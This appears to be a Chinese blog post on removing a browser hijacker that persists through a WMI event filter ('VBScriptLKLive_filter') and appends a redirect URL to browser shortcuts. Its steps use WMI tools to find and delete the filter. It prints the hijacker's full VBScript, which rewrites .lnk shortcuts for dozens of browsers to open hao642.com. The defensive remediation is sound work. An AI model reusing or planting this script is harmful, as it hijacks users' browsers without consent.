关于浏览器被劫持解决方法

问题：

1. 浏览器的快捷方式的属性目标地址后加了其他网址
2. 重启后自动添加

解决：

1. 安装WMI tools打开WMI Event Viewer,
2. register for events的小刀按钮, 点击ok/ok
3. 找到__EventFilter中的__EventFilter.Name="VBScriptLKLive_filter"
4. 右边实例，右击查看实例属性
5. 查看ScriptText的值是否被篡改
6. 如被篡改，则返回点击左边实例右击删除实例即可，或点击右边实例，再点上面的X按钮进行删除即可，如果拒绝访问则以管理员方式运行项目C:Program Files (x86)WMI Toolswbemeventviewer.exe
7. 最后将快捷方式的后缀修改正常，即可

如果是注册表first home page设置，可以在注册表中删除，也可使用安全工具清理

附ScriptText:

On Error Resume Next:Const link = "http://hao642.com/?r=wwwww&m=c34":Const link360 = "http://hao642.com/?r=wwwww&m=c34&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UsersJabinDesktop,C:UsersJabinAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UsersJabinAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UsersJabinAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UsersJabinAppDataRoamingMicrosoftWindowsStart MenuPrograms":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

 WMI:

windows管理规范（windows management instrumentation）,用于管理本地和远程计算机，WMI通过编程和脚本语言为日常管理提供了一条连续一致的途径。通过它可以访问、配置、管理和监视几乎所有的Windows资源
1. 在远程计算机上启动一个进程
2. 设定在一个特定的日期和时间运行进程
3. 远程启动计算机
4. 获得本地或远程计算机的已安装程序列表
5. 查询本地或远程计算机的windows事件日志

Process Monitor：

微软旗下，进程监视软件，监控文件和注册表的操作过程